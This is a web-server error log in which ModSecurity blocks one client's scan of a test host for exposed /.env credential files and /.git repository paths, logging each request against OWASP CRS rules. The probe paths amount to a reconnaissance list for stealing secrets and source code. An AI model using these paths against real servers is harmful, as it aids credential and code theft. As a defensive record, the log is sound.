[Thu Mar 12 21:45:17.071159 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "abMl3fv0eBlLRFPxh3wD9AAAAAM"]
[Thu Mar 12 21:45:17.071357 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "abMl3fv0eBlLRFPxh3wD9AAAAAM"]
[Thu Mar 12 21:45:17.071494 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "abMl3fv0eBlLRFPxh3wD9AAAAAM"]
[Thu Mar 12 21:45:17.093676 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "abMl3fv0eBlLRFPxh3wD9QAAAAM"]
[Thu Mar 12 21:45:17.093923 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "abMl3fv0eBlLRFPxh3wD9QAAAAM"]
[Thu Mar 12 21:45:17.094064 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "abMl3fv0eBlLRFPxh3wD9QAAAAM"]
[Thu Mar 12 21:45:17.161193 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/"] [unique_id "abMl3fv0eBlLRFPxh3wD-AAAAAM"]
[Thu Mar 12 21:45:17.161391 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/"] [unique_id "abMl3fv0eBlLRFPxh3wD-AAAAAM"]
[Thu Mar 12 21:45:17.161516 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/"] [unique_id "abMl3fv0eBlLRFPxh3wD-AAAAAM"]
[Thu Mar 12 21:45:17.183569 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "abMl3fv0eBlLRFPxh3wD-QAAAAM"]
[Thu Mar 12 21:45:17.183772 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "abMl3fv0eBlLRFPxh3wD-QAAAAM"]
[Thu Mar 12 21:45:17.183911 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "abMl3fv0eBlLRFPxh3wD-QAAAAM"]
[Thu Mar 12 21:45:17.205954 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/index"] [unique_id "abMl3fv0eBlLRFPxh3wD-gAAAAM"]
[Thu Mar 12 21:45:17.206153 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/index"] [unique_id "abMl3fv0eBlLRFPxh3wD-gAAAAM"]
[Thu Mar 12 21:45:17.206283 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/index"] [unique_id "abMl3fv0eBlLRFPxh3wD-gAAAAM"]
[Thu Mar 12 21:45:17.230025 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/HEAD"] [unique_id "abMl3fv0eBlLRFPxh3wD-wAAAAM"]
[Thu Mar 12 21:45:17.230214 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/HEAD"] [unique_id "abMl3fv0eBlLRFPxh3wD-wAAAAM"]
[Thu Mar 12 21:45:17.230381 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/HEAD"] [unique_id "abMl3fv0eBlLRFPxh3wD-wAAAAM"]
[Thu Mar 12 21:45:17.253496 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/master"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/refs/heads/master"] [unique_id "abMl3fv0eBlLRFPxh3wD_AAAAAM"]
[Thu Mar 12 21:45:17.253690 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/refs/heads/master"] [unique_id "abMl3fv0eBlLRFPxh3wD_AAAAAM"]
[Thu Mar 12 21:45:17.253830 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/refs/heads/master"] [unique_id "abMl3fv0eBlLRFPxh3wD_AAAAAM"]
[Thu Mar 12 21:45:17.275791 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "abMl3fv0eBlLRFPxh3wD_QAAAAM"]
[Thu Mar 12 21:45:17.275981 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "abMl3fv0eBlLRFPxh3wD_QAAAAM"]
[Thu Mar 12 21:45:17.276118 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "abMl3fv0eBlLRFPxh3wD_QAAAAM"]
[Thu Mar 12 21:45:17.299227 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/remotes/origin/master"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/refs/remotes/origin/master"] [unique_id "abMl3fv0eBlLRFPxh3wD_gAAAAM"]
[Thu Mar 12 21:45:17.299423 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/refs/remotes/origin/master"] [unique_id "abMl3fv0eBlLRFPxh3wD_gAAAAM"]
[Thu Mar 12 21:45:17.299565 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/refs/remotes/origin/master"] [unique_id "abMl3fv0eBlLRFPxh3wD_gAAAAM"]
[Thu Mar 12 21:45:17.321645 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/remotes/origin/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/refs/remotes/origin/main"] [unique_id "abMl3fv0eBlLRFPxh3wD_wAAAAM"]
[Thu Mar 12 21:45:17.321837 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/refs/remotes/origin/main"] [unique_id "abMl3fv0eBlLRFPxh3wD_wAAAAM"]
[Thu Mar 12 21:45:17.321990 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/refs/remotes/origin/main"] [unique_id "abMl3fv0eBlLRFPxh3wD_wAAAAM"]
[Thu Mar 12 21:45:17.344533 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/hooks"] [unique_id "abMl3fv0eBlLRFPxh3wEAAAAAAM"]
[Thu Mar 12 21:45:17.344725 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/hooks"] [unique_id "abMl3fv0eBlLRFPxh3wEAAAAAAM"]
[Thu Mar 12 21:45:17.344868 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/hooks"] [unique_id "abMl3fv0eBlLRFPxh3wEAAAAAAM"]
[Thu Mar 12 21:45:17.367324 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/info/exclude"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/info/exclude"] [unique_id "abMl3fv0eBlLRFPxh3wEAQAAAAM"]
[Thu Mar 12 21:45:17.367510 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/info/exclude"] [unique_id "abMl3fv0eBlLRFPxh3wEAQAAAAM"]
[Thu Mar 12 21:45:17.367637 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/info/exclude"] [unique_id "abMl3fv0eBlLRFPxh3wEAQAAAAM"]
[Thu Mar 12 21:45:17.391670 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/master"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/refs/heads/master"] [unique_id "abMl3fv0eBlLRFPxh3wEAgAAAAM"]
[Thu Mar 12 21:45:17.391860 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/refs/heads/master"] [unique_id "abMl3fv0eBlLRFPxh3wEAgAAAAM"]
[Thu Mar 12 21:45:17.391996 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/refs/heads/master"] [unique_id "abMl3fv0eBlLRFPxh3wEAgAAAAM"]
